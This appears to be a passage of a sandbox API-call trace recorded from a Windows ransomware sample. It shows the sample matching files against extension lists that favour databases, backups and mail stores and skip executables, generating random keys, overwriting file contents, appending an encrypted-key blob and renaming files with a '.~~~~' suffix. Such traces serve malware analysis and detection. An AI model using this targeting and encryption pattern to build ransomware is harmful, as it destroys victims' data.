	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0083.922] lstrlenW (lpString=".bac") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0083.922] lstrlenW (lpString=".mdf") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0083.922] lstrlenW (lpString=".BAK") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0083.922] lstrlenW (lpString=".BAC") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0083.922] lstrlenW (lpString=".dbs") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0083.922] lstrlenW (lpString=".vhdx") returned 5
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0083.922] lstrlenW (lpString=".NDF") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0083.922] lstrlenW (lpString=".dat") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0083.922] lstrlenW (lpString=".DBS") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0083.922] lstrlenW (lpString=".CKP") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0083.922] lstrlenW (lpString=".edb") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0083.922] lstrlenW (lpString=".PST") returned 4
	[0083.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0083.923] lstrlenW (lpString=".dbf") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0083.923] lstrlenW (lpString=".SQL") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0083.923] lstrlenW (lpString=".pst") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0083.923] lstrlenW (lpString=".dbv") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0083.923] lstrlenW (lpString=".SDF") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0083.923] lstrlenW (lpString=".dtxs") returned 5
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0083.923] lstrlenW (lpString=".db3") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0083.923] lstrlenW (lpString=".OST") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0083.923] lstrlenW (lpString=".dbx") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0083.923] lstrlenW (lpString=".DB3") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0083.923] lstrlenW (lpString=".DAT") returned 4
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0083.923] lstrlenW (lpString=".VHDX") returned 5
	[0083.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0083.923] lstrlenW (lpString=".ndf") returned 4
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0083.924] lstrlenW (lpString=".DB") returned 3
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0083.924] lstrlenW (lpString=".sql") returned 4
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0083.924] lstrlenW (lpString=".MYD") returned 4
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0083.924] lstrlenW (lpString=".DBT") returned 4
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0083.924] lstrlenW (lpString=".ACCDB") returned 6
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0083.924] lstrlenW (lpString=".fdb") returned 4
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0083.924] lstrlenW (lpString=".bak") returned 4
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0083.924] lstrlenW (lpString=".myd") returned 4
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0083.924] lstrlenW (lpString=".DTXS") returned 5
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0083.924] lstrlenW (lpString=".ckp") returned 4
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0083.924] lstrlenW (lpString=".dbt") returned 4
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0083.924] lstrlenW (lpString=".db") returned 3
	[0083.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0083.924] lstrlenW (lpString=".TXT") returned 4
	[0083.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0083.925] lstrlenW (lpString=".MDF") returned 4
	[0083.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0083.925] lstrlenW (lpString=".bdb") returned 4
	[0083.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0083.925] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.925] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0083.926] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.926] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0083.926] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20391645272) returned 1
	[0083.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9bdbbfb0, dwHighDateTime=0x1d60e1e)) 
	[0083.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9298
	[0083.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9298 | out: hHeap=0x300000) returned 1
	[0083.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807ca0
	[0083.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807ca0 | out: hHeap=0x300000) returned 1
	[0083.927] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.927] GetLastError () returned 0x0
	[0083.928] GetLastError () returned 0x0
	[0083.928] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.928] GetLastError () returned 0x0
	[0083.928] GetLastError () returned 0x0
	[0083.931] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff8b1b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.931] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x74e5, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x74e5, lpOverlapped=0x0) returned 1
	[0083.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.932] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.932] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.932] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.932] CloseHandle (hObject=0x124) returned 1
	[0083.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6750
	[0083.932] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.~~~~")) returned 1
	[0083.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6750 | out: hHeap=0x300000) returned 1
	[0083.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0083.933] GetLastError () returned 0x0
	[0083.933] RtlWakeConditionVariable () returned 0x365f70
	[0083.933] GetCurrentThreadId () returned 0x9f4
	[0083.933] GetCurrentThreadId () returned 0x9f4
	[0083.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807ca0
	[0083.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0083.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0083.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab2d0
	[0083.934] lstrlenW (lpString=".scr") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".scr") returned 0x0
	[0083.934] lstrlenW (lpString=".cmd") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".cmd") returned 0x0
	[0083.934] lstrlenW (lpString=".dll") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".dll") returned 0x0
	[0083.934] lstrlenW (lpString=".bat") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".bat") returned 0x0
	[0083.934] lstrlenW (lpString=".cpl") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".cpl") returned 0x0
	[0083.934] lstrlenW (lpString=".sys") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".sys") returned 0x0
	[0083.934] lstrlenW (lpString=".msc") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".msc") returned 0x0
	[0083.934] lstrlenW (lpString=".com") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".com") returned 0x0
	[0083.934] lstrlenW (lpString=".lnk") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".lnk") returned 0x0
	[0083.934] lstrlenW (lpString=".msp") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".msp") returned 0x0
	[0083.934] lstrlenW (lpString=".pif") returned 4
	[0083.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".pif") returned 0x0
	[0083.935] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.936] lstrlenW (lpString=".sqb") returned 4
	[0083.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".sqb") returned 0x0
	[0083.937] lstrlenW (lpString=".ost") returned 4
	[0083.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".ost") returned 0x0
	[0083.937] lstrlenW (lpString=".txt") returned 4
	[0083.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".txt") returned 0x0
	[0083.937] lstrlenW (lpString=".mdt") returned 4
	[0083.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".mdt") returned 0x0
	[0083.937] lstrlenW (lpString=".BDB") returned 4
	[0083.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".BDB") returned 0x0
	[0083.937] lstrlenW (lpString=".eql") returned 4
	[0083.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".eql") returned 0x0
	[0083.938] lstrlenW (lpString=".DBF") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DBF") returned 0x0
	[0083.938] lstrlenW (lpString=".EQL") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".EQL") returned 0x0
	[0083.938] lstrlenW (lpString=".FDB") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".FDB") returned 0x0
	[0083.938] lstrlenW (lpString=".EDB") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".EDB") returned 0x0
	[0083.938] lstrlenW (lpString=".DACPAC") returned 7
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.938] lstrlenW (lpString=".VHD") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".VHD") returned 0x0
	[0083.938] lstrlenW (lpString=".DBV") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DBV") returned 0x0
	[0083.938] lstrlenW (lpString=".dacpac") returned 7
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".dacpac") returned 0x0
	[0083.938] lstrlenW (lpString=".sdf") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".sdf") returned 0x0
	[0083.938] lstrlenW (lpString=".accdb") returned 6
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".accdb") returned 0x0
	[0083.938] lstrlenW (lpString=".DBX") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DBX") returned 0x0
	[0083.938] lstrlenW (lpString=".MDT") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".MDT") returned 0x0
	[0083.938] lstrlenW (lpString=".SQB") returned 4
	[0083.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".SQB") returned 0x0
	[0083.939] lstrlenW (lpString=".vhd") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".vhd") returned 0x0
	[0083.939] lstrlenW (lpString=".bac") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".bac") returned 0x0
	[0083.939] lstrlenW (lpString=".mdf") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".mdf") returned 0x0
	[0083.939] lstrlenW (lpString=".BAK") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".BAK") returned 0x0
	[0083.939] lstrlenW (lpString=".BAC") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".BAC") returned 0x0
	[0083.939] lstrlenW (lpString=".dbs") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".dbs") returned 0x0
	[0083.939] lstrlenW (lpString=".vhdx") returned 5
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".vhdx") returned 0x0
	[0083.939] lstrlenW (lpString=".NDF") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".NDF") returned 0x0
	[0083.939] lstrlenW (lpString=".dat") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".dat") returned 0x0
	[0083.939] lstrlenW (lpString=".DBS") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".DBS") returned 0x0
	[0083.939] lstrlenW (lpString=".CKP") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".CKP") returned 0x0
	[0083.939] lstrlenW (lpString=".edb") returned 4
	[0083.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".edb") returned 0x0
	[0083.939] lstrlenW (lpString=".PST") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".PST") returned 0x0
	[0083.940] lstrlenW (lpString=".dbf") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".dbf") returned 0x0
	[0083.940] lstrlenW (lpString=".SQL") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".SQL") returned 0x0
	[0083.940] lstrlenW (lpString=".pst") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".pst") returned 0x0
	[0083.940] lstrlenW (lpString=".dbv") returned 4
	[0083.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", lpSrch=".dbv") returned 0x0
	[0083.940] lstrlenW (lpString=".SDF") returned 4
